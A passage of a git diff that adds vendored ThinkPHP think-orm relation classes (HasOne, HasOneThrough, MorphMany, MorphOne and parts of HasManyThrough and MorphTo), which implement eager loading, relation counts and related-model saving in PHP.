$this->parent->db()->alias($model); + + return $query->field($model . '.*') + ->join($throughTable, $throughTable . '.' . $this->foreignKey . '=' . $model . '.' . $this->localKey) + ->join($relationTable, $relationTable . '.' . $throughKey . '=' . $throughTable . '.' . $this->throughPk) + ->when($softDelete, function ($query) use ($softDelete, $relationTable) { + $query->where($relationTable . strstr($softDelete[0], '.'), '=' == $softDelete[1][0] ? $softDelete[1][1] : null); + }) + ->group($relationTable . '.' . $this->throughKey) + ->having('count(' . $id . ')' . $operator . $count); + } + + /** + * 根据关联条件查询当前模型 + * @access public + * @param mixed $where 查询条件(数组或者闭包) + * @param mixed $fields 字段 + * @param string $joinType JOIN类型 + * @param Query $query Query对象 + * @return Query + */ + public function hasWhere($where = [], $fields = null, $joinType = '', Query $query = null): Query + { + $model = Str::snake(class_basename($this->parent)); + $throughTable = $this->through->getTable(); + $pk = $this->throughPk; + $throughKey = $this->throughKey; + $modelTable = (new $this->model)->getTable(); + + if (is_array($where)) { + $this->getQueryWhere($where, $modelTable); + } elseif ($where instanceof Query) { + $where->via($modelTable); + } elseif ($where instanceof Closure) { + $where($this->query->via($modelTable)); + $where = $this->query; + } + + $fields = $this->getRelationQueryFields($fields, $model); + $softDelete = $this->query->getOptions('soft_delete'); + $query = $query ?: $this->parent->db()->alias($model); + + return $query->join($throughTable, $throughTable . '.' . $this->foreignKey . '=' . $model . '.' . $this->localKey) + ->join($modelTable, $modelTable . '.' . $throughKey . '=' . $throughTable . '.' . $this->throughPk, $joinType) + ->when($softDelete, function ($query) use ($softDelete, $modelTable) { + $query->where($modelTable . strstr($softDelete[0], '.'), '=' == $softDelete[1][0] ? $softDelete[1][1] : null); + }) + ->group($modelTable . '.' . $this->throughKey) + ->where($where) + ->field($fields); + } + + /** + * 预载入关联查询(数据集) + * @access protected + * @param array $resultSet 数据集 + * @param string $relation 当前关联名 + * @param array $subRelation 子关联名 + * @param Closure $closure 闭包 + * @param array $cache 关联缓存 + * @return void + */ + public function eagerlyResultSet(array &$resultSet, string $relation, array $subRelation = [], Closure $closure = null, array $cache = []): void + { + $localKey = $this->localKey; + $foreignKey = $this->foreignKey; + + $range = []; + foreach ($resultSet as $result) { + // 获取关联外键列表 + if (isset($result->$localKey)) { + $range[] = $result->$localKey; + } + } + + if (!empty($range)) { + $this->query->removeWhereField($foreignKey); + + $data = $this->eagerlyWhere([ + [$this->foreignKey, 'in', $range], + ], $foreignKey, $subRelation, $closure, $cache); + + // 关联数据封装 + foreach ($resultSet as $result) { + $pk = $result->$localKey; + if (!isset($data[$pk])) { + $data[$pk] = []; + } + + // 设置关联属性 + $result->setRelation($relation, $this->resultSetBuild($data[$pk], clone $this->parent)); + } + } + } + + /** + * 预载入关联查询(数据) + * @access protected + * @param Model $result 数据对象 + * @param string $relation 当前关联名 + * @param array $subRelation 子关联名 + * @param Closure $closure 闭包 + * @param array $cache 关联缓存 + * @return void + */ + public function eagerlyResult(Model $result, string $relation, array $subRelation = [], Closure $closure = null, array $cache = []): void + { + $localKey = $this->localKey; + $foreignKey = $this->foreignKey; + $pk = $result->$localKey; + + $this->query->removeWhereField($foreignKey); + + $data = $this->eagerlyWhere([ + [$foreignKey, '=', $pk], + ], $foreignKey, $subRelation, $closure, $cache); + + // 关联数据封装 + if (!isset($data[$pk])) { + $data[$pk] = []; + } + + $result->setRelation($relation, $this->resultSetBuild($data[$pk], clone $this->parent)); + } + + /** + * 关联模型预查询 + * @access public + * @param array $where 关联预查询条件 + * @param string $key 关联键名 + * @param array $subRelation 子关联 + * @param Closure $closure + * @param array $cache 关联缓存 + * @return array + */ + protected function eagerlyWhere(array $where, string $key, array $subRelation = [], Closure $closure = null, array $cache = []): array + { + // 预载入关联查询 支持嵌套预载入 + $throughList = $this->through->where($where)->select(); + $keys = $throughList->column($this->throughPk, $this->throughPk); + + if ($closure) { + $this->baseQuery = true; + $closure($this->getClosureType($closure)); + } + + $list = $this->query + ->where($this->throughKey, 'in', $keys) + ->cache($cache[0] ?? false, $cache[1] ?? null, $cache[2] ?? null) + ->select(); + + // 组装模型数据 + $data = []; + $keys = $throughList->column($this->foreignKey, $this->throughPk); + + foreach ($list as $set) { + $key = $keys[$set->{$this->throughKey}]; + + if ($this->withLimit && isset($data[$key]) && count($data[$key]) >= $this->withLimit) { + continue; + } + + $data[$key][] = $set; + } + + return $data; + } + + /** + * 关联统计 + * @access public + * @param Model $result 数据对象 + * @param Closure $closure 闭包 + * @param string $aggregate 聚合查询方法 + * @param string $field 字段 + * @param string $name 统计字段别名 + * @return mixed + */ + public function relationCount(Model $result, Closure $closure = null, string $aggregate = 'count', string $field = '*', string &$name = null) + { + $localKey = $this->localKey; + + if (!isset($result->$localKey)) { + return 0; + } + + if ($closure) { + $closure($this->getClosureType($closure), $name); + } + + $alias = Str::snake(class_basename($this->model)); + $throughTable = $this->through->getTable(); + $pk = $this->throughPk; + $throughKey = $this->throughKey; + $modelTable = $this->parent->getTable(); + + if (false === strpos($field, '.')) { + $field = $alias . '.' . $field; + } + + return $this->query + ->alias($alias) + ->join($throughTable, $throughTable . '.' . $pk . '=' . $alias . '.' . $throughKey) + ->join($modelTable, $modelTable . '.' . $this->localKey . '=' . $throughTable . '.' . $this->foreignKey) + ->where($throughTable . '.' . $this->foreignKey, $result->$localKey) + ->$aggregate($field); + } + + /** + * 创建关联统计子查询 + * @access public + * @param Closure $closure 闭包 + * @param string $aggregate 聚合查询方法 + * @param string $field 字段 + * @param string $name 统计字段别名 + * @return string + */ + public function getRelationCountQuery(Closure $closure = null, string $aggregate = 'count', string $field = '*', string &$name = null): string + { + if ($closure) { + $closure($this->getClosureType($closure), $name); + } + + $alias = Str::snake(class_basename($this->model)); + $throughTable = $this->through->getTable(); + $pk = $this->throughPk; + $throughKey = $this->throughKey; + $modelTable = $this->parent->getTable(); + + if (false === strpos($field, '.')) { + $field = $alias . '.' . $field; + } + + return $this->query + ->alias($alias) + ->join($throughTable, $throughTable . '.' . $pk . '=' . $alias . '.' . $throughKey) + ->join($modelTable, $modelTable . '.' . $this->localKey . '=' . $throughTable . '.' . $this->foreignKey) + ->whereExp($throughTable . '.' . $this->foreignKey, '=' . $this->parent->getTable() . '.' . $this->localKey) + ->fetchSql() + ->$aggregate($field); + } + + /** + * 执行基础查询(仅执行一次) + * @access protected + * @return void + */ + protected function baseQuery(): void + { + if (empty($this->baseQuery) && $this->parent->getData()) { + $alias = Str::snake(class_basename($this->model)); + $throughTable = $this->through->getTable(); + $pk = $this->throughPk; + $throughKey = $this->throughKey; + $modelTable = $this->parent->getTable(); + $fields = $this->getQueryFields($alias); + + $this->query + ->field($fields) + ->alias($alias) + ->join($throughTable, $throughTable . '.' . $pk . '=' . $alias . '.' . $throughKey) + ->join($modelTable, $modelTable . '.' . $this->localKey . '=' . $throughTable . '.' . $this->foreignKey) + ->where($throughTable . '.' . $this->foreignKey, $this->parent->{$this->localKey}); + + $this->baseQuery = true; + } + } + +} diff --git a/vendor/topthink/think-orm/src/model/relation/HasOne.php b/vendor/topthink/think-orm/src/model/relation/HasOne.php new file mode 100644 index 0000000..7fcd20a --- /dev/null +++ b/vendor/topthink/think-orm/src/model/relation/HasOne.php @@ -0,0 +1,300 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\model\relation; + +use Closure; +use think\db\BaseQuery as Query; +use think\helper\Str; +use think\Model; + +/** + * HasOne 关联类 + */ +class HasOne extends OneToOne +{ + /** + * 架构函数 + * @access public + * @param Model $parent 上级模型对象 + * @param string $model 模型名 + * @param string $foreignKey 关联外键 + * @param string $localKey 当前模型主键 + */ + public function __construct(Model $parent, string $model, string $foreignKey, string $localKey) + { + $this->parent = $parent; + $this->model = $model; + $this->foreignKey = $foreignKey; + $this->localKey = $localKey; + $this->query = (new $model)->db(); + + if (get_class($parent) == $model) { + $this->selfRelation = true; + } + } + + /** + * 延迟获取关联数据 + * @access public + * @param array $subRelation 子关联名 + * @param Closure $closure 闭包查询条件 + * @return Model + */ + public function getRelation(array $subRelation = [], Closure $closure = null) + { + $localKey = $this->localKey; + + if ($closure) { + $closure($this->getClosureType($closure)); + } + + // 判断关联类型执行查询 + $relationModel = $this->query + ->removeWhereField($this->foreignKey) + ->where($this->foreignKey, $this->parent->$localKey) + ->relation($subRelation) + ->find(); + + if ($relationModel) { + if (!empty($this->bindAttr)) { + // 绑定关联属性 + $this->bindAttr($this->parent, $relationModel); + } + + $relationModel->setParent(clone $this->parent); + } + + return $relationModel; + } + + /** + * 创建关联统计子查询 + * @access public + * @param Closure $closure 闭包 + * @param string $aggregate 聚合查询方法 + * @param string $field 字段 + * @param string $name 统计字段别名 + * @return string + */ + public function getRelationCountQuery(Closure $closure = null, string $aggregate = 'count', string $field = '*', string &$name = null): string + { + if ($closure) { + $closure($this->getClosureType($closure), $name); + } + + return $this->query + ->whereExp($this->foreignKey, '=' . $this->parent->getTable() . '.' . $this->localKey) + ->fetchSql() + ->$aggregate($field); + } + + /** + * 关联统计 + * @access public + * @param Model $result 数据对象 + * @param Closure $closure 闭包 + * @param string $aggregate 聚合查询方法 + * @param string $field 字段 + * @param string $name 统计字段别名 + * @return integer + */ + public function relationCount(Model $result, Closure $closure = null, string $aggregate = 'count', string $field = '*', string &$name = null) + { + $localKey = $this->localKey; + + if (!isset($result->$localKey)) { + return 0; + } + + if ($closure) { + $closure($this->getClosureType($closure), $name); + } + + return $this->query + ->where($this->foreignKey, '=', $result->$localKey) + ->$aggregate($field); + } + + /** + * 根据关联条件查询当前模型 + * @access public + * @param string $operator 比较操作符 + * @param integer $count 个数 + * @param string $id 关联表的统计字段 + * @param string $joinType JOIN类型 + * @param Query $query Query对象 + * @return Query + */ + public function has(string $operator = '>=', int $count = 1, string $id = '*', string $joinType = '', Query $query = null): Query + { + $table = $this->query->getTable(); + $model = class_basename($this->parent); + $relation = class_basename($this->model); + $localKey = $this->localKey; + $foreignKey = $this->foreignKey; + $softDelete = $this->query->getOptions('soft_delete'); + $query = $query ?: $this->parent->db()->alias($model); + + return $query->whereExists(function ($query) use ($table, $model, $relation, $localKey, $foreignKey, $softDelete) { + $query->table([$table => $relation]) + ->field($relation . '.' . $foreignKey) + ->whereExp($model . '.' . $localKey, '=' . $relation . '.' . $foreignKey) + ->when($softDelete, function ($query) use ($softDelete, $relation) { + $query->where($relation . strstr($softDelete[0], '.'), '=' == $softDelete[1][0] ? $softDelete[1][1] : null); + }); + }); + } + + /** + * 根据关联条件查询当前模型 + * @access public + * @param mixed $where 查询条件(数组或者闭包) + * @param mixed $fields 字段 + * @param string $joinType JOIN类型 + * @param Query $query Query对象 + * @return Query + */ + public function hasWhere($where = [], $fields = null, string $joinType = '', Query $query = null): Query + { + $table = $this->query->getTable(); + $model = class_basename($this->parent); + $relation = class_basename($this->model); + + if (is_array($where)) { + $this->getQueryWhere($where, $relation); + } elseif ($where instanceof Query) { + $where->via($relation); + } elseif ($where instanceof Closure) { + $where($this->query->via($relation)); + $where = $this->query; + } + + $fields = $this->getRelationQueryFields($fields, $model); + $softDelete = $this->query->getOptions('soft_delete'); + $query = $query ? $query->alias($model) : $this->parent->db()->alias($model); + + return $query->field($fields) + ->join([$table => $relation], $model . '.' . $this->localKey . '=' . $relation . '.' . $this->foreignKey, $joinType ?: $this->joinType) + ->when($softDelete, function ($query) use ($softDelete, $relation) { + $query->where($relation . strstr($softDelete[0], '.'), '=' == $softDelete[1][0] ? $softDelete[1][1] : null); + }) + ->where($where); + } + + /** + * 预载入关联查询(数据集) + * @access protected + * @param array $resultSet 数据集 + * @param string $relation 当前关联名 + * @param array $subRelation 子关联名 + * @param Closure $closure 闭包 + * @param array $cache 关联缓存 + * @return void + */ + protected function eagerlySet(array &$resultSet, string $relation, array $subRelation = [], Closure $closure = null, array $cache = []): void + { + $localKey = $this->localKey; + $foreignKey = $this->foreignKey; + + $range = []; + foreach ($resultSet as $result) { + // 获取关联外键列表 + if (isset($result->$localKey)) { + $range[] = $result->$localKey; + } + } + + if (!empty($range)) { + $this->query->removeWhereField($foreignKey); + + $data = $this->eagerlyWhere([ + [$foreignKey, 'in', $range], + ], $foreignKey, $subRelation, $closure, $cache); + + // 关联数据封装 + foreach ($resultSet as $result) { + // 关联模型 + if (!isset($data[$result->$localKey])) { + $relationModel = null; + } else { + $relationModel = $data[$result->$localKey]; + $relationModel->setParent(clone $result); + $relationModel->exists(true); + } + + if (!empty($this->bindAttr)) { + // 绑定关联属性 + $this->bindAttr($result, $relationModel); + } else { + // 设置关联属性 + $result->setRelation($relation, $relationModel); + } + } + } + } + + /** + * 预载入关联查询(数据) + * @access protected + * @param Model $result 数据对象 + * @param string $relation 当前关联名 + * @param array $subRelation 子关联名 + * @param Closure $closure 闭包 + * @param array $cache 关联缓存 + * @return void + */ + protected function eagerlyOne(Model $result, string $relation, array $subRelation = [], Closure $closure = null, array $cache = []): void + { + $localKey = $this->localKey; + $foreignKey = $this->foreignKey; + + $this->query->removeWhereField($foreignKey); + + $data = $this->eagerlyWhere([ + [$foreignKey, '=', $result->$localKey], + ], $foreignKey, $subRelation, $closure, $cache); + + // 关联模型 + if (!isset($data[$result->$localKey])) { + $relationModel = null; + } else { + $relationModel = $data[$result->$localKey]; + $relationModel->setParent(clone $result); + $relationModel->exists(true); + } + + if (!empty($this->bindAttr)) { + // 绑定关联属性 + $this->bindAttr($result, $relationModel); + } else { + $result->setRelation($relation, $relationModel); + } + } + + /** + * 执行基础查询(仅执行一次) + * @access protected + * @return void + */ + protected function baseQuery(): void + { + if (empty($this->baseQuery)) { + if (isset($this->parent->{$this->localKey})) { + // 关联查询带入关联条件 + $this->query->where($this->foreignKey, '=', $this->parent->{$this->localKey}); + } + + $this->baseQuery = true; + } + } +} diff --git a/vendor/topthink/think-orm/src/model/relation/HasOneThrough.php b/vendor/topthink/think-orm/src/model/relation/HasOneThrough.php new file mode 100644 index 0000000..8ec42df --- /dev/null +++ b/vendor/topthink/think-orm/src/model/relation/HasOneThrough.php @@ -0,0 +1,163 @@ + +// +---------------------------------------------------------------------- + +namespace think\model\relation; + +use Closure; +use think\helper\Str; +use think\Model; + +/** + * 远程一对一关联类 + */ +class HasOneThrough extends HasManyThrough +{ + + /** + * 延迟获取关联数据 + * @access public + * @param array $subRelation 子关联名 + * @param Closure $closure 闭包查询条件 + * @return Model + */ + public function getRelation(array $subRelation = [], Closure $closure = null) + { + if ($closure) { + $closure($this->getClosureType($closure)); + } + + $this->baseQuery(); + + $relationModel = $this->query->relation($subRelation)->find(); + + if ($relationModel) { + $relationModel->setParent(clone $this->parent); + } + + return $relationModel; + } + + /** + * 预载入关联查询(数据集) + * @access protected + * @param array $resultSet 数据集 + * @param string $relation 当前关联名 + * @param array $subRelation 子关联名 + * @param Closure $closure 闭包 + * @param array $cache 关联缓存 + * @return void + */ + public function eagerlyResultSet(array &$resultSet, string $relation, array $subRelation = [], Closure $closure = null, array $cache = []): void + { + $localKey = $this->localKey; + $foreignKey = $this->foreignKey; + + $range = []; + foreach ($resultSet as $result) { + // 获取关联外键列表 + if (isset($result->$localKey)) { + $range[] = $result->$localKey; + } + } + + if (!empty($range)) { + $this->query->removeWhereField($foreignKey); + + $data = $this->eagerlyWhere([ + [$this->foreignKey, 'in', $range], + ], $foreignKey, $subRelation, $closure, $cache); + + // 关联数据封装 + foreach ($resultSet as $result) { + // 关联模型 + if (!isset($data[$result->$localKey])) { + $relationModel = null; + } else { + $relationModel = $data[$result->$localKey]; + $relationModel->setParent(clone $result); + $relationModel->exists(true); + } + + // 设置关联属性 + $result->setRelation($relation, $relationModel); + } + } + } + + /** + * 预载入关联查询(数据) + * @access protected + * @param Model $result 数据对象 + * @param string $relation 当前关联名 + * @param array $subRelation 子关联名 + * @param Closure $closure 闭包 + * @param array $cache 关联缓存 + * @return void + */ + public function eagerlyResult(Model $result, string $relation, array $subRelation = [], Closure $closure = null, array $cache = []): void + { + $localKey = $this->localKey; + $foreignKey = $this->foreignKey; + + $this->query->removeWhereField($foreignKey); + + $data = $this->eagerlyWhere([ + [$foreignKey, '=', $result->$localKey], + ], $foreignKey, $subRelation, $closure, $cache); + + // 关联模型 + if (!isset($data[$result->$localKey])) { + $relationModel = null; + } else { + $relationModel = $data[$result->$localKey]; + $relationModel->setParent(clone $result); + $relationModel->exists(true); + } + + $result->setRelation($relation, $relationModel); + } + + /** + * 关联模型预查询 + * @access public + * @param array $where 关联预查询条件 + * @param string $key 关联键名 + * @param array $subRelation 子关联 + * @param Closure $closure + * @param array $cache 关联缓存 + * @return array + */ + protected function eagerlyWhere(array $where, string $key, array $subRelation = [], Closure $closure = null, array $cache = []): array + { + // 预载入关联查询 支持嵌套预载入 + $keys = $this->through->where($where)->column($this->throughPk, $this->foreignKey); + + if ($closure) { + $closure($this->getClosureType($closure)); + } + + $list = $this->query + ->where($this->throughKey, 'in', $keys) + ->cache($cache[0] ?? false, $cache[1] ?? null, $cache[2] ?? null) + ->select(); + + // 组装模型数据 + $data = []; + $keys = array_flip($keys); + + foreach ($list as $set) { + $data[$keys[$set->{$this->throughKey}]] = $set; + } + + return $data; + } + +} diff --git a/vendor/topthink/think-orm/src/model/relation/MorphMany.php b/vendor/topthink/think-orm/src/model/relation/MorphMany.php new file mode 100644 index 0000000..82910cb --- /dev/null +++ b/vendor/topthink/think-orm/src/model/relation/MorphMany.php @@ -0,0 +1,353 @@ + +// +---------------------------------------------------------------------- + +namespace think\model\relation; + +use Closure; +use think\Collection; +use think\db\BaseQuery as Query; +use think\db\exception\DbException as Exception; +use think\helper\Str; +use think\Model; +use think\model\Relation; + +/** + * 多态一对多关联 + */ +class MorphMany extends Relation +{ + + /** + * 多态关联外键 + * @var string + */ + protected $morphKey; + /** + * 多态字段名 + * @var string + */ + protected $morphType; + + /** + * 多态类型 + * @var string + */ + protected $type; + + /** + * 架构函数 + * @access public + * @param Model $parent 上级模型对象 + * @param string $model 模型名 + * @param string $morphKey 关联外键 + * @param string $morphType 多态字段名 + * @param string $type 多态类型 + */ + public function __construct(Model $parent, string $model, string $morphKey, string $morphType, string $type) + { + $this->parent = $parent; + $this->model = $model; + $this->type = $type; + $this->morphKey = $morphKey; + $this->morphType = $morphType; + $this->query = (new $model)->db(); + } + + /** + * 延迟获取关联数据 + * @access public + * @param array $subRelation 子关联名 + * @param Closure $closure 闭包查询条件 + * @return Collection + */ + public function getRelation(array $subRelation = [], Closure $closure = null): Collection + { + if ($closure) { + $closure($this->getClosureType($closure)); + } + + $this->baseQuery(); + + if ($this->withLimit) { + $this->query->limit($this->withLimit); + } + + return $this->query->relation($subRelation) + ->select() + ->setParent(clone $this->parent); + } + + /** + * 根据关联条件查询当前模型 + * @access public + * @param string $operator 比较操作符 + * @param integer $count 个数 + * @param string $id 关联表的统计字段 + * @param string $joinType JOIN类型 + * @param Query $query Query对象 + * @return Query + */ + public function has(string $operator = '>=', int $count = 1, string $id = '*', string $joinType = '', Query $query = null) + { + throw new Exception('relation not support: has'); + } + + /** + * 根据关联条件查询当前模型 + * @access public + * @param mixed $where 查询条件(数组或者闭包) + * @param mixed $fields 字段 + * @param string $joinType JOIN类型 + * @param Query $query Query对象 + * @return Query + */ + public function hasWhere($where = [], $fields = null, string $joinType = '', Query $query = null) + { + throw new Exception('relation not support: hasWhere'); + } + + /** + * 预载入关联查询 + * @access public + * @param array $resultSet 数据集 + * @param string $relation 当前关联名 + * @param array $subRelation 子关联名 + * @param Closure $closure 闭包 + * @param array $cache 关联缓存 + * @return void + */ + public function eagerlyResultSet(array &$resultSet, string $relation, array $subRelation, Closure $closure = null, array $cache = []): void + { + $morphType = $this->morphType; + $morphKey = $this->morphKey; + $type = $this->type; + $range = []; + + foreach ($resultSet as $result) { + $pk = $result->getPk(); + // 获取关联外键列表 + if (isset($result->$pk)) { + $range[] = $result->$pk; + } + } + + if (!empty($range)) { + $where = [ + [$morphKey, 'in', $range], + [$morphType, '=', $type], + ]; + $data = $this->eagerlyMorphToMany($where, $subRelation, $closure, $cache); + + // 关联数据封装 + foreach ($resultSet as $result) { + if (!isset($data[$result->$pk])) { + $data[$result->$pk] = []; + } + + $result->setRelation($relation, $this->resultSetBuild($data[$result->$pk], clone $this->parent)); + } + } + } + + /** + * 预载入关联查询 + * @access public + * @param Model $result 数据对象 + * @param string $relation 当前关联名 + * @param array $subRelation 子关联名 + * @param Closure $closure 闭包 + * @param array $cache 关联缓存 + * @return void + */ + public function eagerlyResult(Model $result, string $relation, array $subRelation = [], Closure $closure = null, array $cache = []): void + { + $pk = $result->getPk(); + + if (isset($result->$pk)) { + $key = $result->$pk; + $data = $this->eagerlyMorphToMany([ + [$this->morphKey, '=', $key], + [$this->morphType, '=', $this->type], + ], $subRelation, $closure, $cache); + + if (!isset($data[$key])) { + $data[$key] = []; + } + + $result->setRelation($relation, $this->resultSetBuild($data[$key], clone $this->parent)); + } + } + + /** + * 关联统计 + * @access public + * @param Model $result 数据对象 + * @param Closure $closure 闭包 + * @param string $aggregate 聚合查询方法 + * @param string $field 字段 + * @param string $name 统计字段别名 + * @return mixed + */ + public function relationCount(Model $result, Closure $closure = null, string $aggregate = 'count', string $field = '*', string &$name = null) + { + $pk = $result->getPk(); + + if (!isset($result->$pk)) { + return 0; + } + + if ($closure) { + $closure($this->getClosureType($closure), $name); + } + + return $this->query + ->where([ + [$this->morphKey, '=', $result->$pk], + [$this->morphType, '=', $this->type], + ]) + ->$aggregate($field); + } + + /** + * 获取关联统计子查询 + * @access public + * @param Closure $closure 闭包 + * @param string $aggregate 聚合查询方法 + * @param string $field 字段 + * @param string $name 统计字段别名 + * @return string + */ + public function getRelationCountQuery(Closure $closure = null, string $aggregate = 'count', string $field = '*', string &$name = null): string + { + if ($closure) { + $closure($this->getClosureType($closure), $name); + } + + return $this->query + ->whereExp($this->morphKey, '=' . $this->parent->getTable() . '.' . $this->parent->getPk()) + ->where($this->morphType, '=', $this->type) + ->fetchSql() + ->$aggregate($field); + } + + /** + * 多态一对多 关联模型预查询 + * @access protected + * @param array $where 关联预查询条件 + * @param array $subRelation 子关联 + * @param Closure $closure 闭包 + * @param array $cache 关联缓存 + * @return array + */ + protected function eagerlyMorphToMany(array $where, array $subRelation = [], Closure $closure = null, array $cache = []): array + { + // 预载入关联查询 支持嵌套预载入 + $this->query->removeOption('where'); + + if ($closure) { + $this->baseQuery = true; + $closure($this->getClosureType($closure)); + } + + $list = $this->query + ->where($where) + ->with($subRelation) + ->cache($cache[0] ?? false, $cache[1] ?? null, $cache[2] ?? null) + ->select(); + $morphKey = $this->morphKey; + + // 组装模型数据 + $data = []; + foreach ($list as $set) { + $key = $set->$morphKey; + + if ($this->withLimit && isset($data[$key]) && count($data[$key]) >= $this->withLimit) { + continue; + } + + $data[$key][] = $set; + } + + return $data; + } + + /** + * 保存(新增)当前关联数据对象 + * @access public + * @param mixed $data 数据 可以使用数组 关联模型对象 + * @param bool $replace 是否自动识别更新和写入 + * @return Model|false + */ + public function save($data, bool $replace = true) + { + $model = $this->make(); + + return $model->replace($replace)->save($data) ? $model : false; + } + + /** + * 创建关联对象实例 + * @param array|Model $data + * @return Model + */ + public function make($data = []): Model + { + if ($data instanceof Model) { + $data = $data->getData(); + } + + // 保存关联表数据 + $pk = $this->parent->getPk(); + + $data[$this->morphKey] = $this->parent->$pk; + $data[$this->morphType] = $this->type; + + return new $this->model($data); + } + + /** + * 批量保存当前关联数据对象 + * @access public + * @param iterable $dataSet 数据集 + * @param boolean $replace 是否自动识别更新和写入 + * @return array|false + */ + public function saveAll(iterable $dataSet, bool $replace = true) + { + $result = []; + + foreach ($dataSet as $key => $data) { + $result[] = $this->save($data, $replace); + } + + return empty($result) ? false : $result; + } + + /** + * 执行基础查询(仅执行一次) + * @access protected + * @return void + */ + protected function baseQuery(): void + { + if (empty($this->baseQuery) && $this->parent->getData()) { + $pk = $this->parent->getPk(); + + $this->query->where([ + [$this->morphKey, '=', $this->parent->$pk], + [$this->morphType, '=', $this->type], + ]); + + $this->baseQuery = true; + } + } + +} diff --git a/vendor/topthink/think-orm/src/model/relation/MorphOne.php b/vendor/topthink/think-orm/src/model/relation/MorphOne.php new file mode 100644 index 0000000..6789c76 --- /dev/null +++ b/vendor/topthink/think-orm/src/model/relation/MorphOne.php @@ -0,0 +1,280 @@ + +// +---------------------------------------------------------------------- + +namespace think\model\relation; + +use Closure; +use think\db\BaseQuery as Query; +use think\db\exception\DbException as Exception; +use think\helper\Str; +use think\Model; +use think\model\Relation; + +/** + * 多态一对一关联类 + */ +class MorphOne extends Relation +{ + /** + * 多态关联外键 + * @var string + */ + protected $morphKey; + + /** + * 多态字段 + * @var string + */ + protected $morphType; + + /** + * 多态类型 + * @var string + */ + protected $type; + + /** + * 构造函数 + * @access public + * @param Model $parent 上级模型对象 + * @param string $model 模型名 + * @param string $morphKey 关联外键 + * @param string $morphType 多态字段名 + * @param string $type 多态类型 + */ + public function __construct(Model $parent, string $model, string $morphKey, string $morphType, string $type) + { + $this->parent = $parent; + $this->model = $model; + $this->type = $type; + $this->morphKey = $morphKey; + $this->morphType = $morphType; + $this->query = (new $model)->db(); + } + + /** + * 延迟获取关联数据 + * @access public + * @param array $subRelation 子关联名 + * @param Closure $closure 闭包查询条件 + * @return Model + */ + public function getRelation(array $subRelation = [], Closure $closure = null) + { + if ($closure) { + $closure($this->getClosureType($closure)); + } + + $this->baseQuery(); + + $relationModel = $this->query->relation($subRelation)->find(); + + if ($relationModel) { + $relationModel->setParent(clone $this->parent); + } + + return $relationModel; + } + + /** + * 根据关联条件查询当前模型 + * @access public + * @param string $operator 比较操作符 + * @param integer $count 个数 + * @param string $id 关联表的统计字段 + * @param string $joinType JOIN类型 + * @param Query $query Query对象 + * @return Query + */ + public function has(string $operator = '>=', int $count = 1, string $id = '*', string $joinType = '', Query $query = null) + { + return $this->parent; + } + + /** + * 根据关联条件查询当前模型 + * @access public + * @param mixed $where 查询条件(数组或者闭包) + * @param mixed $fields 字段 + * @param string $joinType JOIN类型 + * @param Query $query Query对象 + * @return Query + */ + public function hasWhere($where = [], $fields = null, string $joinType = '', Query $query = null) + { + throw new Exception('relation not support: hasWhere'); + } + + /** + * 预载入关联查询 + * @access public + * @param array $resultSet 数据集 + * @param string $relation 当前关联名 + * @param array $subRelation 子关联名 + * @param Closure $closure 闭包 + * @param array $cache 关联缓存 + * @return void + */ + public function eagerlyResultSet(array &$resultSet, string $relation, array $subRelation, Closure $closure = null, array $cache = []): void + { + $morphType = $this->morphType; + $morphKey = $this->morphKey; + $type = $this->type; + $range = []; + + foreach ($resultSet as $result) { + $pk = $result->getPk(); + // 获取关联外键列表 + if (isset($result->$pk)) { + $range[] = $result->$pk; + } + } + + if (!empty($range)) { + $data = $this->eagerlyMorphToOne([ + [$morphKey, 'in', $range], + [$morphType, '=', $type], + ], $subRelation, $closure, $cache); + + // 关联数据封装 + foreach ($resultSet as $result) { + if (!isset($data[$result->$pk])) { + $relationModel = null; + } else { + $relationModel = $data[$result->$pk]; + $relationModel->setParent(clone $result); + $relationModel->exists(true); + } + + $result->setRelation($relation, $relationModel); + } + } + } + + /** + * 预载入关联查询 + * @access public + * @param Model $result 数据对象 + * @param string $relation 当前关联名 + * @param array $subRelation 子关联名 + * @param Closure $closure 闭包 + * @param array $cache 关联缓存 + * @return void + */ + public function eagerlyResult(Model $result, string $relation, array $subRelation = [], Closure $closure = null, array $cache = []): void + { + $pk = $result->getPk(); + + if (isset($result->$pk)) { + $pk = $result->$pk; + $data = $this->eagerlyMorphToOne([ + [$this->morphKey, '=', $pk], + [$this->morphType, '=', $this->type], + ], $subRelation, $closure, $cache); + + if (isset($data[$pk])) { + $relationModel = $data[$pk]; + $relationModel->setParent(clone $result); + $relationModel->exists(true); + } else { + $relationModel = null; + } + + $result->setRelation($relation, $relationModel); + } + } + + /** + * 多态一对一 关联模型预查询 + * @access protected + * @param array $where 关联预查询条件 + * @param array $subRelation 子关联 + * @param Closure $closure 闭包 + * @param array $cache 关联缓存 + * @return array + */ + protected function eagerlyMorphToOne(array $where, array $subRelation = [], $closure = null, array $cache = []): array + { + // 预载入关联查询 支持嵌套预载入 + if ($closure) { + $this->baseQuery = true; + $closure($this->getClosureType($closure)); + } + + $list = $this->query + ->where($where) + ->with($subRelation) + ->cache($cache[0] ?? false, $cache[1] ?? null, $cache[2] ?? null) + ->select(); + $morphKey = $this->morphKey; + + // 组装模型数据 + $data = []; + + foreach ($list as $set) { + $data[$set->$morphKey] = $set; + } + + return $data; + } + + /** + * 保存(新增)当前关联数据对象 + * @access public + * @param mixed $data 数据 可以使用数组 关联模型对象 + * @param boolean $replace 是否自动识别更新和写入 + * @return Model|false + */ + public function save($data, bool $replace = true) + { + $model = $this->make(); + return $model->replace($replace)->save($data) ? $model : false; + } + + /** + * 创建关联对象实例 + * @param array|Model $data + * @return Model + */ + public function make($data = []): Model + { + if ($data instanceof Model) { + $data = $data->getData(); + } + + // 保存关联表数据 + $pk = $this->parent->getPk(); + + $data[$this->morphKey] = $this->parent->$pk; + $data[$this->morphType] = $this->type; + + return new $this->model($data); + } + + /** + * 执行基础查询(进执行一次) + * @access protected + * @return void + */ + protected function baseQuery(): void + { + if (empty($this->baseQuery) && $this->parent->getData()) { + $pk = $this->parent->getPk(); + + $this->query->where([ + [$this->morphKey, '=', $this->parent->$pk], + [$this->morphType, '=', $this->type], + ]); + $this->baseQuery = true; + } + } + +} diff --git a/vendor/topthink/think-orm/src/model/relation/MorphTo.php b/vendor/topthink/think-orm/src/model/relation/MorphTo.php new file mode 100644 index 0000000..eaa9890 --- /dev/null +++ b/vendor/topthink/think-orm/src/model/relation/MorphTo.php @@ -0,0 +1,332 @@ + +// +---------------------------------------------------------------------- + +namespace think\model\relation; + +use Closure; +use think\db\exception\DbException as Exception; +use 